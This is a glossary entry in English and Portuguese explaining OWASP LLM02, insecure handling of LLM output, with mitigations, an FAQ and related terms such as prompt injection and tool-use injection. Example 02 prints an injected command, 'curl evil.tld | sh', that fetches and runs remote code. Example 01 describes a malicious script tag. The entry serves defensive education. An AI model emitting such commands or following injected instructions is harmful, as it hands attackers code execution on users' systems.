Insecure Output Handling
O que é Insecure Output Handling?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● Exemplos
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● Perguntas frequentes
O que é Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. Pertence à categoria Segurança de IA e ML da cibersegurança.
O que significa Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Como funciona Insecure Output Handling?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
Como se defender contra Insecure Output Handling?
As defesas contra Insecure Output Handling costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.
Quais são outros nomes para Insecure Output Handling?
Nomes alternativos comuns: LLM02, Unsanitized LLM output.
● Termos relacionados
- ai-security№ 870
OWASP LLM Top 10
Lista mantida pela OWASP com os dez riscos de segurança mais críticos para aplicações construídas sobre grandes modelos de linguagem.
- ai-security№ 969
Injeção de prompt
Ataque que sobrepõe as instruções originais de um LLM ao inserir texto adversarial no prompt, fazendo com que o modelo ignore salvaguardas ou execute ações escolhidas pelo atacante.
- ai-security№ 586
Injeção indireta de prompt
Variante da injeção de prompt em que instruções maliciosas são escondidas em conteúdo de terceiros (páginas, documentos, e-mails) que o LLM consome depois via recuperação, navegação ou uso de ferramentas.
- attacks№ 265
Cross-Site Scripting (XSS)
Vulnerabilidade web que permite a um atacante injetar scripts maliciosos em páginas visitadas por outros utilizadores, executados no browser da vítima sob a origem do site.
- attacks№ 224
Injeção de Comandos
Ataque em que a entrada do utilizador é passada sem sanitização a um shell do sistema, levando a aplicação a executar comandos fornecidos pelo atacante.
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.